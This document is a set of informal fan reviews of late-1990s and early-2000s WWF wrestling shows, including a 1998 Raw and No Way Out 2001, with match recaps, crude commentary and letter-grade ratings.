Saturn goes out to a Twist of Fate and it’s Dean vs. Matt and Lita. Terri gets speared down by Lita and Malenko gets Matt with a rollup. This makes sense as they’re the most important people to this angle. She uses her lucha stuff to try to get a quick pin but she’s in over her head here. Dean punches her in the chest and hits a top rope suplex to more or less end her. He pulls her up though and I have a feeling I know where this is going. Never mind as the Cloverleaf ends it. Lita says she knows she can beat him.

Rating: C-. Not bad here but this should have been Dean vs. Lita without the other four guys. I guess they were ok and at least they went out without having it to mean much. This wasn’t much though but it was fast paced enough to get something decent going. It’s cool to see Lita put up a fight against a man though which was one of the major points here.

Kurt is warming up and is interrupted by Lillian. He asks her about Bulgarians and various other foreigners. Oh it’s because of him beating them in the Olympics. Angle was the best pompous jerk ever.

We get a HIAC moment as Jack gets backdropped through it and the ring.

European Title: Hardcore Holly vs. William Regal

Regal is a goodwill ambassador here so he tries to be nice but more or less fails. He would become Commissioner before Mania. Regal makes some cheap Alabama jokes but gets cut off by Holly. And here we go immediately. Something tells me this is going to be short. That would be Wikipedia which has the match time on it and it’s under five minutes. Regal takes over and hits a nice top rope suplex which is the move of the night apparently.

We get a Bow and Arrow which is something you never see anymore. Regal uses some very cool old school stuff at times which is fun for people like me that love stuff like that. Holly hits his dropkick and a Falcon’s Arrow but doesn’t cover. Top rope legdrop gets two and that’s more or less it as Holly has hit all of his stuff and didn’t win. For absolutely no apparent reason, RAVEN comes in and hits a DDT on Holly for the pin. I don’t remember a feud or anything at all with Raven in it but whatever.

Rating: D. Boring little match here that I guess was supposed to start up something about the Hardcore Title or something like that but apparently it didn’t mean much since I don’t remember it at all. This was really short and Holly is really bad so it’s not like there was a point here or anything. Just a filler match.

Rikishi isn’t worried about Angle and HHH breaking their three man alliance. Who thought he should be a main event heel?

Ah apparently Holly beat Raven on Monday. Yeah Ross and Lawler should have known that.

Chyna vs. Val Venis

This is RTC stuff. Billy Gunn can NOT come out here according to Chyna. It’s on in the aisle and Chyna is dominating easily. The feud started because Chyna was in Playboy and the RTC objected. They were a parody of the PTC which is a really annoying organization that hates TV because it’s evil and corrupts kids. Chyna gets a DDT for two. The referee tells them two minutes and we go back to even.

Ross calls Ivory Lilith Crane which is rather accurate. Powerslam by Venis sets up the Money Shot which misses. Chyna had been IC Champion at this point so this really shouldn’t be that huge of a one sided match. Ivory gets chased on the floor and gets caught by Val in a Fisherman’s Suplex to end it.

Rating: D. Total TV match here and not a very good one. The blowoff would come at Mania where Chyna destroyed Ivory to win the Women’s Title. She left the company like three months later and no one really cared. This went nowhere at all though and really should have been on Raw or Smackdown.

More HIAC stuff, this time of Foley lighting the board on fire.

Stephanie is worried for HHH. I’m worried for people that have to watch her try to act.

Before the show, Taker is in the empty arena and tells Kevin Kelly about his thoughts and history in the Cell. He literally talks for five minutes, complete with clips from the two more famous Cell matches he was in.

Vince and the Stooges come out. This was during the Linda divorce thing. Vince is worried about the six guys in the match tonight and wants the match called off. This of course takes like 5 minutes also.

We recap Jericho vs. Kane which started over Jericho spilling coffee on Kane and saying something about a burn.

Kane vs. Chris Jericho

This is a last man standing match. They start in the aisle and fight to the back where there is no camera, making the fans rather annoyed. Ah there they are in the back. A big shovel shot misses Jericho and we’re out in the arena now for more than 8 seconds. Nice jumping elbow from the top puts Kane down. The more I see of him the more I like him after a match for Superstars against Yoshi Tatsu. It was just a clinic on how to have a wrestling match.

Teddy Long is the referee which is weird to see. Kane is mad at Jericho over Kane not being able to be handsome due to the HORRIBLE burning and scars. I love continuity issues in wrestling. Pretty much all Kane at this point. JR and King have a weird moment as you have to wonder about two guys that spend that much time together. They started the jokes, not me.

Jericho goes for a spinwheel kick and gets caught. That’s relatively awesome. Lionsault of course misses and Jericho is in trouble again. The top rope clothesline gets a 6 for Kane. Jericho says screw you and gets chokeslammed for his troubles. Since Jericho is getting massacred here I’d bet on him to win. How can you have neutral corners in a one on one match?

Jericho gets up just in time to beat the count off of that to stun Kane. The current world champion, which still feels weird to type, grabs a chair. Jericho blasts him in the balls. Sometimes that’s all you need to do: just blast the dude down south. Missile dropkick puts Kane down but Jericho pulls him up. Lionsault onto a chair onto Kane and I wonder how much that would actually hurt Kane. If Jericho was holding the chair it definitely would but I’m not sure here.

Kane sits up at like 8 and beats the crap out of Jericho. Blonde dude gets thrown to the floor and his head smacks the mat on the ground which looks awesome but painful too. We head up to the production area and Kane goes through a table. The set of the PPV is more or less a war zone where everything is a wreck. One of the things there is a massive wall of barrels which Jericho knocks onto Kane, which he could be on his feet underneath, for the win.

Rating: C+. Pretty good here but nothing really all that great. There are FAR better last man standing matches even on Raw. This was ok though with Jericho never being beaten down long enough to make his comeback unrealistic. They did a decent enough job of passing about 20 minutes though. Not a lot of chemistry here though.

Foley isn’t having second thoughts about making the match.

HBK is at WWF New York and is pretty clearly intoxicated. This is less than three years after his back injury and just under two years before he comes back. He can barely talk and picks Taker to win the match tonight.

Quick recall of the thumb tacks at the second match, which was a brand new spot at the time.

Some XFL players are here.

Tag Titles: Edge and Christian vs. Right to Censor vs. Dudley Boyz vs. K-Kwik/Road Dogg

K-Kwik is R-Truth and the RTC (Buchanan and Goodfather) are the champions here oddly enough. The Dudleyz had pretended to join the RTC but wound up putting Richards through a table. This appears to be one fall to a finish. Truth and Dogg do a rap to the ring and it’s awful. Buchanan and D-Von start us off and the champion dominates. I’d expect more or less a mess here for the most part.

Yep there’s nothing close to a structure here other than two guys in there at once more often that not. Bubba does Road Dogg’s dance in a funny bit. The fans want tables already and a very fast moving K-Kwik beats up Edge. This isn’t much at all. Everything breaks down and Truth goes for an over the top rope dive but gets caught in a shoulderbreaker.

What’s Up to Edge and it’s Table Time. This time though they just hit RTC with it. They TOTALLY mistime 3D as it ends in a downward spiral instead of a cutter. The one on Goodfather isn’t much better as the cutter barely connects. Spear to Bubba gets two as D-Von is down on the floor thanks to Steven. Unprettier gives Edge and Christian the tag belts.

Rating: D+. Total mess here with no need to have Road Dogg and Kwik in there as they just made things too complicated. Four teams are just too many and this never went anywhere. The tag titles hopped around all the time back in this era and it didn’t really matter what happened who had them here. Nothing that bad I guess but it just never got going at all.

HHH rants at Stephanie about having to be champion, which he wouldn’t do for well over a year. He also forgets when he beat Foley.

Speaking of that we have a clip from said match, which is very underrated.

Intercontinental Title: Chris Benoit vs. Billy Gunn

Gunn is THE ONE here and somehow has even fewer people caring about him than he did back in the Outlaw days. Hmm I wonder who is going to win here. No point to this match is given but I’d bet on it just being a title match for the sake of having a title defense, which is fine if they get it on the far better Benoit. Nice drop toehold on Benoit and that’s about all that’s nice from Gunn.

JR gets in one of those creepy lines by saying Benoit hangs with everybody. Benoit goes after the knee and it’s one sided so far. Hopefully it stays that way so that Gunn doesn’t get to go on offense. Benoit puts on a Figure Four and Gunn’s selling is awful. He doesn’t even move until he goes for the reversal. He raises a shoulder to avoid the pin but other than that there is nothing from Gunn at all.

The headbutt misses as this has been a very boring match. Gunn uses a gorilla press and his knee is fine apparently. Same with a Jackhammer. Oh wait he’s limping so everything is ok. Fameasser gets two, signaling that Benoit will in fact be winning the title here. Crossface goes on but Billy makes the ropes. They botch the heck out of something and the fans boo loudly. And there’s the Crossface to give Benoit the title completely clean.

Rating: D. Even with Benoit in there this was bad. Gunn was just so totally worthless most of the time and this was no exception. He was botching stuff all over the place, he wouldn’t sell the knee and the ending was just out of left field because he wouldn’t sell the knee. Thankfully though they got the belt off of him and Benoit would move on to Jericho and then Angle, so all was right with the world.

Austin talks to JR and says you can’t prepare for a HIAC match and that he hasn’t slept. The prize is the title but he’ll take revenge when he can get it.

Women’s Title: Molly Holly vs. Ivory vs. Trish Stratus

Trish is worthless at this point and can’t do a thing in the ring other than look good. Molly is very attractive at this point, wearing the blue outfit and having the blonde pigtails. The blondes fight while Ivory just kind of stands off in the back. Trish is a heel at this point too. Molly takes them both out with a cross body and then Ivory steals the pin on Trish after Molly hit a powerbomb on her. This barely broke two minutes. T&A comes out to go after Molly but Crash and the APA, who T&A had injured, returns for the big beatdown.

Rating: N/A. Molly’s hotness was very underrated back then. That plus Trish was a great combination. But this is the next to last match on the card? Really?

Taker threw Foley off the Cell.

Rock talks about being ready to do whatever it takes to win the match.

The match was basically three feuds: Rock/HHH, Angle/Taker and Austin/Rikishi being thrown into one match. Today this would be the Elimination Chamber. Vince doesn’t want it to happen and for some reason doesn’t just call it off since he’s, you know, the boss.

WWF Title: HHH vs. The Rock vs. Undertaker vs. Steve Austin vs. Rikishi vs. Kurt Angle

Angle is champion here. I remember the buildup for this and the question being who would take the huge bump. It more or less came down to Rock or HHH as Taker was too big, Rikishi was too big and Austin/Angle both had far too bad necks to take the risk. Rikishi is just so freaking worthless that it’s amazing. Angle comes out third which is kind of weird. If I remember right Chyna made fun of his attire here as he complained about his package looking too small. Rikishi is mad at Angle for beating him up on Smackdown due to that alliance being broken. I think this is the debut of Rollin as Taker’s theme song. Rock walks straight in as Angle is staying outside for awhile. There are like 6 referees in there keeping people from fighting each other before the match starts. Austin gets a HUGE pop since we’re in the deep south. He throws Angle in and we’re on.

The match has to end in the cage. I’ll do what I can to keep track of what’s going on here but don’t count on much. Angle vs. Taker, Samoan violence and Austin vs. HHH if you’re curious. Lawler evaluates the talent in there at a billion dollars. And people wonder why the USWA went out of business. Leaping knee takes Austin down. We’re just standing around at the moment as we wait on the big thing to happen, likely involving vince. Rock beats on Angle in the ring while the other four fight on the floor.

And now there’s no one in the ring. Ok then. Ah make that Angle/Rock again. This really would have been perfect for the Chamber if it had existed at the time. They overhype everything here as it’s decent but really just a lot of punching so far. HHH gets rubbed into the cage by Austin. Lawler: Don’t rip his nose off! This really isn’t that interesting at all. A bloody HHH hits the Pedigree on Rikishi and Rock saves. I think that’s the first cover of the match.

Finishers a go-go in the ring and everyone saves. After some more basic stuff, Vince and the Stooges come down with a freaking hay truck and says he’s going to tear the cage down. There goes the door and you know what’s coming now. Foley comes down and runs the three guys off, saying the match is going to happen. HHH is outside and Austin follows him.

They fight up by the cars and everyone else comes up there too. Austin hits him with a boom camera and winds up going through a window to bust him open. Pedigree on Rock onto a car. Isn’t the point of a Cell match for the to stay in the Cell? Rock is bleeding….kind of. Ah that’s more like it. Ross oversells everything here, making it sound like it’s the best match ever or something like that. HHH takes a slingshot into a car in a cool looking spot.

Taker and Angle go back to the ring area and it’s all Taker. A chair shot busts him open as HHH and Austin climb the cage. They fight on top and HHH teases the big drop. Angle comes up too to get away from Taker. Stunner on the roof and Taker is up there now too. Rock and Rikishi are the only two not up there at this point. Angle is bleeding now and HHH climbs down to HUGE booing. Austin follows which makes sense.

And here come the Samoans. Taker gets a chair on top somehow and hits a SICK shot to Angle’s head. The fat man hits Taker though and stands tall. It’s just hard take him seriously in that thong though. Rock is on the floor as I don’t think he was ever up top. Angle gets down and it’s the two big men left. They slug it out near the edge over the truck and in the words of Mark Madden: FLY FAT BOY FLY! Austin stops dead to see what the thud was, as does Rock. Austin’s face is the most interesting part here actually.

The roof goes off as Austin and Rock slug it out. You knew that was Mania right there. What we didn’t know was that it would top off the best PPV of all time. Rock actually wins the fight and sets for the elbow. Cue HHH for the save as I wonder how we never got the triple threat with these three guys. Rock Bottom to Angle but Austin saves. Stunner to Rock and we get a back flip, but HHH takes out Austin with a neckbreaker, allowing Kurt to put his hand on Rock to retain and shock everyone kind of, ending the show.

Rating: B. This was good but a far cry from the other Cell matches. Like I said, this was perfect for the Chamber but this was still a big match. The first half or so is really weak until we get to all the finishers, but even then we were waiting on it to turn into the big war. Vince and the truck did that and once that happened it really took off and was the match I think they were shooing for. It’s good but it’s not a classic. Meltzer allegedly said it was a match of the year candidate. Must have been a very weak class that year if that’s the case.

Overall Rating
: D+. The main event is good and worth seeing for the spectacle, but other than that this show is really pretty weak. It’s painful to sit through as we’re just waiting on the last match to start which took forever to get to. There’s some ok stuff but for the most part nothing of note happens here.

A lot of this stuff should have gone on Raw and you kind of have to wonder what the point was in having a lot of this stuff on PPV other than it being filler. It’s ok, but it’s nothing you would want to watch again save for maybe the final match. Watch that, but otherwise not worth the time unless you really love this era.

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Monday Night Raw – August 24, 1998: A DQ In The Cell

Monday Night Raw
Date: August 24, 1998
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Attendance: 14,727
Commentators: Jim Ross, Jerry Lawler

Man it’s been awhile since I’ve done one of these hasn’t it? I kind of gor sidetracked by some newer Raws and Superstars plus that whole Wrestlemania thing but we’re back now. This is the go home show for Summerslam so expect a final push for Undertaker vs. Austin. That show wound up being awesome so hopefully this one is too. Tonight is also the end of Brawl For All, THANK GOODNESS. Let’s get to it.

Undertaker and Kane come in through a back door. Or maybe it’s a locker room.

Theme song.

It was a locker room.

Taker and Kane come out together to open the show. JR calls Undertaker Mankind for some reason. The Cell is above the ring. Before they say anything, Vince comes out and is all smiles. It’s his birthday according to JR. Then again according to him the 7ft guy in all black will debut a sock puppet one day. Vince: “Well, Undertaker and Kane have finally come out of the casket.” Vince McMahon: True Blood writer?

Vince says he told us all so and he tells us that twice. He says that Undertaker doesn’t need him since he has Kane by his side now. However, once Undertaker becomes champion, there will be a time when he need Vince for his mind. Before the night is over, Vince wants an answer to the question “Vince McMahon: friend or foe?” Paul Bearer comes out and asks Kane if it’s true or a nightmare.

He says he’s the one that’s always been there for Kane and asks Kane to destroy Undertaker for daddy. Taker jumps Bearer and Kane walks away. Mankind comes out for the save….and gets beaten down by both brothers without fighting back at all. Kane loads up the Tombstone and Taker goes up top to make it a SPIKE TOMBSTONE. Why didn’t they bust that bad boy out more often?

Vince says now only Austin remains between Taker and the title. Cue Austin to keep this segment going. He pops up on the stage and a wall of fire comes up. Austin (now with the Smoking Skull belt. Not sure if that had been seen before) says he knew they were together all along and that he doesn’t appreciate being set on fire. He can’t beat both of them at once so tonight, he’s taking one of them out.

Ken Shamrock vs. Dan Severn

Mankind has been taken out in an ambulance. This is a result of the triple threat last week where Severn choked Shamrock out post match. They both fight for the leg control to start but Severn rolls into the ropes by mistake. He comes back with a powerbomb but doesn’t cover. After a gordbuster a powerslam gets two…and Owen runs in for the DQ. He chokes Shamrock but Blackman runs in to clear that up. This feud just kept going and going. Too short to rate but it was certainly different. Shamrock snaps and suplexes Blackman post match. Then Blackman suplexes Shamrock.

Mankind is out of the ambulance and playing with the stretcher.

Summerslam Highway video. This is still awesome.

Post break Mankind surfs down the ramp on a stretcher. He gets in the ring and says it was cahoots all along. A good cub scout should always be prepared and his good cub scout leader Mr. McMahon said that Kane wasn’t good but Mankind didn’t listen. Tonight it’s Kane vs. Mankind in the Cell. He wants to know what kind of idiot would get back into the same match that almost killed him. Somehow he’s going to throw Kane off the cage or through it, onto 7000 thumbtacks.

We get some clips of the “last” Cell match which is between Taker and Foley. Even they’re already disowning the tag team one.

Here’s Sable to announce the next match.

Marc Mero vs. Kurrgan

Sable dances with the Oddities pre match. No Jackie this week. She’d be at Summerslam for a mixed tag though. Mero asks the Oddities to leave which they do willingly. Kurrgan overpowers him down and dances a bit. Mero goes for the knee until Kurrgan picks him up and hits what we would call a Punjabi Plunge. Jackie runs through the crowd and beats down Sable as Mero hits Kurrgan low for the DQ. This was pointless.

X-Pac relieves himself in someone’s boots.

Southern Justice vs. New Age Outlaws

Someone with a deep voice pops in on commentary. He sounds like he’s doing a Terry Funk impression. Oh it’s Hawk who is bombed still. Jarrett comes out before the match with something to say but his mic doesn’t work. He gets on the headset and reveals those were his boots. Canterbury and Gunn start things off with the Outlaws taking over. Off to Roadie for the dancing punches. Jeff challenges him to a match which was already announced. Off to Knight for a suplex as the match is being ignored. With the referee distracted, Gunn piledrives Knight for the pin. The match was just a backdrop for Jarrett’s ranting.

Jarrett gets annoyed at the cameraman for shooting his boots so Southern Justice holds him for a haircut.

Mankind vs. Kane

Inside the Cell. Kane comes out first so once he’s in the Cell, Mankind tries to climb the cage. He beats up the referee that tries to stop him which lets him ram the cage door on Kane’s head. They fight outside the Cell and Foley tries to throw a chair on top of the cage twice, one of this might have hit Lawler on the way down. He tries to climb up and Taker pops up from out of nowhere to pull him off and through the table. They haven’t been inside the Cell together yet.

Now Kane comes back around to beat Mankind up some more. Kane drags him towards the door and slams it on Mankind’s body which is on the ground. Ok NOW they’re inside the cage together. Kane throws the steps into the ring and beats him in the head with it as Taker watches. He manages a dive over the top to the floor to take out Mankind before trying to throw the steps on top of him from the ring.

Mankind manages to sneak under the ring and comes out with a chair plus the bag of tacks. The chair shot to Kane’s head gets a HUGE pop which suggests the popularity Foley could have as a face. Chokeslam attempt is countered by the Claw but they slug it out instead. Piledriver to Kane sends him into the tacks without much force, but it’s not played up as a huge deal. Mankind goes up but Kane clocks him with a chair.

Chokeslam puts Foley down and there’s the tombstone but Kane won’t cover. Taker sends him a throat slit sign so Kane picks up another chair. Foley gets up and a pair of chair shots to the head puts him down. Mankind gets up AGAIN but walks into a tombstone on the chair. Austin pops out from under the ring (that’s a Russo Special) and destroys Kane, resulting in probably the only DQ in the history of the Cell.

Rating: C+. This was more about the ending of the match than the match itself. The main idea here though was to basically turn Foley face through feeling bad about the horrible beating he took. It’s not a great match or anything but it pretty much did its job. They would lose the titles on Sunday anyway so Kane and Mankind could split in peace.

Taker tries to get in to stop the beating but Vince raises the Cell to prevent Austin vs. Taker from happening before Sunday.

Post break Taker calls Austin a coward for jumping Kane. He says that seals Austin’s fate and tonight, he’ll take his revenge because it’s personal.

Here’s Chyna who wants to call out Rock because of the beating HHH got from the Nation last week. Before she says anything Rock is here. The rest of the Nation comes out as well with a ladder. I think I remember this segment happening live. Rock gets on the bottom rung of the ladder and shows Chyna a shot of DX’s locker room with a forklift in front of it. Rock talks about going to Summerslam, climbing the People’s ladder rung by rung and taking his Intercontinental Title back.

As for Chyna, he sees her looking at him with those bedroom eyes. She’s a very frustrated woman and Rock can’t blame her at all for that. The one conclusion is that Chyna needs to get some. About 2am tonight, Rock can be the man to give it to her. She lunges at him but Brown and Owen make her stop. Rock says she looks natural on her knees and leans down to kiss her but says he doesn’t kiss trash like you. Mark Henry however can do it but Shawn Michaels runs out with a chair to the head of Henry to save Chyna.

Post break DX is out of the room and looking for DX in the parking lot.

Val Venis vs. Taka Michnoku

This is technically a rematch from last week where Val ran the gauntlet but lost to Taka in the final match. Taka takes him down with a spinwheel kick but Val shrugs it off. Shawn is on commentary now but won’t tell us much his relationship with DX. Val powerbombs him and hits the Money Shot but HHH comes in with a chair shot to break it up.

HHH is MAD and says at Summerslam, Rocky belong to him. He was a bit more colorful than that but you get the idea.

We get an extended edition of the Austin vs. Taker video.

X-Pac vs. Gangrel

Gangrel jumps him to start but Pac comes back with a spinning kick. Powerslam gets two for Gangrel and a powerbomb puts Pac down. A Swan Dive misses and Edge is watching. Pac comes back and hits the Bronco Buster but here’s Jarrett with a guitar shot for the DQ.

After DX gets X-Pac out of the ring, Edge runs in and beats down Gangrel.

Undertaker has a casket.

Brawl For All Finals: Bradshaw vs. Bart Gunn

THANK GOODNESS it ends here. I couldn’t take much more of this. We get a recap of this for some reason. Bart knocks him down in about ten seconds and the knockout is complete at 42 seconds. Dang I was hoping to get some reading in during this thing. Bart gets 75 grand and Bradshaw gets 25 grand, as this becomes one of the biggest jokes in company history. Bart didn’t get pushed AT ALL after this, other than forgettable and short feuds with Steve Williams and Hardcore Holly. No title shots, no big angles, no MMA gimmick change, nothing. We wasted six weeks on NOTHING.

Vince says he’ll get his answer tonight. You can hear stage directors saying to get the casket ready.

The lights go blue and the druids start chanting as some guy in a white jacket goes up the ramp for some reason. The druids brings out a casket and Undertaker follows with his new demonic music. Taker says Kane has his own business at Summerslam but for tonight, Taker wants Austin. Here’s Vince instead who asks friend or foe. He extends his hand and is promptly chokeslammed.

Austin pops out of the casket and talks trash to Vince. Now Kane pops out of the casket and beats up Austin while Undertaker watches. Austin gets to the floor and grabs a chair but walks away instead of fighting a losing battle. See, that’s how you have a smart but still tough face. In a cool visual, flames comes up (slowly) down the middle of the ramp, making it look like the dividing line on a highway, to end the show.

Overall Rating: B-. This is a hard one to grade. They certainly did a good job of pushing Summerslam as I think every match got at least a mention other than Brown vs. Venis (which for some reason would last fifteen minutes). However the main event stuff felt like a month of stories in one night. Tonight alone we had: Vince telling Undertaker to pick, Austin attacking Kane in the Cell, Austin and Kane in the casket, Undertaker and Kane officially uniting, Paul Bearer pleading with Kane, and probably some other stuff I’m forgetting. All of that in ONE SHOW. It was a bit too much for me, but the PPV makes up for it.

Here’s Summerslam if you’re interested:

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No Way Out 2001: Austin’s Best Match Ever? Maybe.

No Way Out 2001
Date: February 25, 2001
Location: Thomas & Mack Center, Las Vegas, Nevada
Attendance: 15, 223
Commentators: Jim Ross, Jerry Lawler

This is a more or less forgotten show in WWF history which is a shame because it really is a good one. The problem it has is that it’s stuck between a great Rumble and the best PPV of all time. This is most certainly a two match show as there are only two that I remember at all and only two that mean anything. The first is Angle vs. Rock for the title, and I think you know how that’s going to go.

The other match, and the reason I get this requested a lot, is why this show is so popular. It’s Austin vs. HHH in a 2 out of three falls match. The first is a regular match, the second is a street fight and the third is a cage match. This is Austin’s first major one on one match since his neck surgery so we’re really seeing if he’s back. HHH is the guy that was behind his attack so this is a huge revenge match. It’s been called the best match of Austin’s career and there may be something to that. That would include the I Quit match, so let’s get to it.

The opening video is about the two matches. At least they’re not pretending to be something they’re not here.

Hardcore Title: Big Show vs. Raven

Raven has the belt and the better music here. He brings his own weapons as was his custom. Raven’s ninja (Tori, a girl, in a black suit) jumps Show on the ramp and it goes nowhere as you would expect. Show is in his one piece women’s swimsuit here and I still hate it. Show misses a splash against the post and is rocked.

Raven jumps on his back which works about as well as every diet Show goes on. The required fire extinguisher is used by the bird man. Ross suggests a blunt object to the head. And now a popcorn vendor is jumping Raven. He looks like Elroy Jetson and Show more or less kills him (It’s Crash). Show beats up Raven and Blackman and Holly come out to beat up Show.

Billy Gunn slips in from behind and messes up a Fameasser on Raven to steal the title. Naturally he sticks around instead of RUNNING, resulting in taking a Sidewinder, which is his old finishing move in the Smoking Guns. Show clears the ring and Raven steals the title back. Crash gets two but a chokeslam onto a trashcan gets the title. Oh and Molly and the Ninja came down and fought too. Show beats Billy up as he leaves for fun.

Rating: C. This wasn’t supposed to be serious and it wasn’t. This was just a fun little match and sequence that was designed to make things comedic. Show vs. Kane vs. Raven would be the Hardcore Title match at Mania and was far better, but it’s a different kind of match. This was fine though.

Angle gets here and is still a happy go lucky jerk who can be awesome in the ring.

Benoit and Eddie are with Lillian. They say only the title matters tonight.

Intercontinental Title: Chris Jericho vs. X-Pac vs. Eddie Guerrero vs. Chris Benoit

Jericho took the title from Benoit at the Rumble. He also put Pac out with an injury as well as Eddie. So there are your reasons for people to be in there. The Radicalz jump the ring and it’s immediately on. Pac vs. Benoit and Eddie vs. Jericho to start. One fall to a finish here. Everybody gets in the ring and it’s a big slugout.

Benoit and Eddie team up but Benoit tries to steal the win with the Crossface on X-Pac. Jericho takes forever to break it up but just makes it. Frog Splash to Pac for two. Bronco Buster on Benoit doesn’t hit as Jericho kicks his head off. The Radicalz slug it out to a big reaction. Benoit covers Eddie and Jericho covers Pac but both get two.

We get down to Benoit and Jericho for a bit which is probably the most entertaining combination here. Liontamer goes on but Eddie comes in for the save. He winds up in them instead. Ok make that Pac is in them. Justin Credible of all people runs out for the save and Benoit hits a Dragon Suplex for two. Pac and Credible beat up Benoit with a double superkick.

Lionsault gets two on Eddie as Pac gets a low blow and X Factor on Jericho. Very fast paced and exciting stuff here. Crossface on Pac but Eddie with a SWEET running front flip neckbreaker to break it up. Swan Dive to Eddie’s arm and then Benoit gets his head kicked off by Pac. Jericho slides in from nowhere and steals the pin to retain on X-Pac. Sweet match.

Rating: B+. This was great stuff as everyone was flying all over the place and stealing covers and breaking up pins. Jericho coming in to steal the pin made sense as he was probably the most impressive guy out there. It was a great match which was high impact and incredibly fast paced. The guys got to show off and it worked like a charm. Very good match.

HHH is getting taped up for the match.

Regal is with Vince who tells him to do the right thing in the Stephanie vs. Trish match. He has no idea what that is.

We recap Trish vs. Stephanie. This is in the middle of the Vince wants a divorce and Linda is in a sanitarium and Trish is screwing Vince and Stephanie hates Trish and wants to be the top girl in the company angle. I can’t stand those simple and basic angles that are a dime a dozen.

Busta Rhymes is at WWF New York, as is Test. He wants the girls to beat each other to death.

Regal tries to talk to Trish but she has someone to slap.

Stephanie looks AWESOME in her outfit here.

Ad for WWF the Music Volume 5. Wow that sounds forever ago.

Trish Stratus vs. Stephanie McMahon

Trish is curvy with a gorgeous face at this point. She has no talent as far as we know in the ring so Stephanie is probably the ring general in this match. She has the awesome old school HHH music though so I can’t complain. It’s nice to see one of the girls in a t-shirt though instead of their traditional stuff. Spear and a slap fight start us off.

We’re in the crowd in like a minute as this is a big fight. Stephanie dives off the barricade with a big punch to the chest. Granted it’s hard to miss so there we are. Bulldog by Trish but it means nothing yet so it only gets two. They do the smart thing here and don’t try to make this into a wrestling match, opting instead for a fight. Water gets involved, making Lawler freak out.

Trish with wet hair and a wet chest: win. A powerbomb from Stephanie gets two and down come Trish’s shorts for a spanking. Trish in a thong wins also. The girls both go down (lucky) as does the referee. Cue Regal, who puts Trish on top (works for me) but then saves Stephanie from getting pinned since he doesn’t know what the right thing is. Trish slaps him so he takes her down with a neckbreaker for the pin.

Rating: B-. This is considering who was in there and the level of their talent. It’s no classic, but considering who was in there, this was AWESOME. They didn’t bother trying to have a match and just beat each other up, which was without a doubt the right way to go. Trish would of course get FAR better, but this was pretty good considering what they had to work with. Regal saving us from the attempt at a finishing sequence was a nice break too.

Vince is mad at Regal for what he just did. Vince/Stephanie vs. Trish/Vince tomorrow, which I think led to the Vince’s Club.

Ad for Mania, which is made of awesome. If you cut it’s arm off and looked down at it, the part that has blood it in would say AWESOME.

We recap HHH vs. Austin, if you need it. In short, HHH paid off Rikishi to run over Austin so he had to take a year off. They hate each other in general also if they need any additional reasons. Like I said, I doubt you need an explanation on this one. If you do, why are you reading this? There was a very clever thing done by HHH: After they signed the contract, Vince had said if they touched each other before No Way Out, Austin would lose his title shot at Mania and HHH would be suspended for six months. Austin signed and HHH blasted him. Vince said what are you doing? HHH only signed the first H. Austin beat up Stephanie and HHH beat up JR the previous week.

Cole, with his stupid blonde highlights, gets a blank stare from Austin.

Steve Austin vs. HHH

First is a regular match, second is street fight, third is cage. MASSIVE pop for Austin, but the crowd has been white hot all night. I’m surprised that this is in the middle of the card but you know it’s going to get some time. Maybe they want to do this so the crowd isn’t spent at the end? Naturally it’s a slugfest to start. Mudhole is stomped 30 seconds in. Big old AUSTIN chant as he dominates early on.

Modified hot shot to take down Austin though as this is fast paced for the most part. Pedigree is blocked into a DDT on the arm which I need to learn the name of. We head to the floor as Austin works the arm. This is a regular match but Austin ramming HHH’s arm into a post about 6 times is perfectly fine? HHH can’t do the Pedigree because of his arm, which is SELLING! Simply shaking your arm is passable, but having it prevent you from doing your moves is SELLING.

Thesz Press and Austin is dominant so far. HHH gets his foot up when Austin is coming off the ropes, but for once Austin actually has his arms up to look like he’s doing a move. I hate when people just jump into it for the sake of jumping into it. Neckbreaker takes HHH down but it doesn’t do much due to the weak arm.

HHH goes after the knee which is Austin’s weak point as well. He goes for the leg into the post thing but Austin counters and HHH and the nose of doom hit the post. Back to the knee as HHH takes over with a figure four. Austin gets out and does a nice move where he gets HHH n the mat and beats on him with his leg. Cooler than it sounds. Thesz Press and the elbow get two.

Everyone counters everything and we slug it out. HHH gets a kick to the knee and goes to the middle rope. He jumps into the boot though and Austin hits the Stunner for the completely clean pinfall.

No rest period between falls and we’re right back at it again. It’s a street fight now and we hit the floor. Austin’s knee is ok I guess as he hits some suplexes on the floor. Monitor connects with HHH’s head and apparently it’s broken. Naturally we head into the crowd and it’s all Austin. Back in the ring and Austin destroys HHH Rock-Style with a chair.

After nearly murdering HHH we head back to the floor where Austin finds a 2×4 wrapped in barbed wire for no apparent reason. A low blows allows HHH to blast him in the face with it though and Austin is bleeding. HHH sets for the Pedigree on the table but Austin counters and sends him through the other table which EXPLODES. Awesome stuff so far if you can’t tell.

Back in the ring a bell shot (Austin brought it in earlier) gets two for HHH. This is a war with both guys hitting all these big shots out of desperation. Back to the neck with a neckbreaker onto the chair for two. Backdrop by Austin sends HHH free falling over the top. Cool looking drop. More weapons stuff on the floor but the intensity and selling is making it work.

You can barely hear Lawler here as his mic is messed up or something. HHH finds a sledgehammer and Lawler accuses JR for putting it there. Back in the ring again and a Stunner is blocked by a sledgehammer shot to Austin’s head. Pedigree follows that and thankfully that ties us up at 1-1. I would have rolled my eyes very heavily if Austin had kicked out of that.

The cage is lowered as we get a quick break. It’s been about 30 minutes so far and nothing but awesome. Austin is more or less dead and eats the cage again. HHH gets the barbed wire 2×4 and rips Austin’s face open a bit more with it. The sledgehammer and at least one chair are also in there with them. Make that two chairs, one of which saves Austin as he blasts HHH in the head with it.

HHH gets it in the face (I would have thought that would have been Stephanie but whatever) for a long time but gets a DDT out of desperation onto the chair but it only gets two. The crowd is a bit silent but it’s pretty clear that the fans know nothing is going to end without something huge. Austin comes back and goes OFF on HHH who just collapses face first out of the corner.

Game tries to bale but he Austin makes two saves, culminating with an old school slam off the top rope. Stunner is blocked but the Pedigree hits for TWO. The place erupts on the kickout and HHH is shocked. Another is blocked and HHH gets hit with a slingshot into the cage. Stunner hits and both guys are out. After the break Austin covers for two as this is awesome. HHH gets the hammer and Austin gets the 2×4. Both swing with everything they’ve got and connect, but HHH falls on Austin for the pin. I think I need a cigarette.

Rating: A+. Without question, this is awesome. Any of the three falls is great to say the least and the ending was perfect. Both guys are protected but not in a way that makes it look like they’re being protected. HHH got lucky and won it, as Lawler says that it’s not fair to say either guy really won. Just an absolute WAR with these two beating the living tar out of each other and making the crowd love every minute of it. With 40 minutes of these two beating each other to death, how is it not a perfect match?

Austin stuns HHH afterwards for fun.

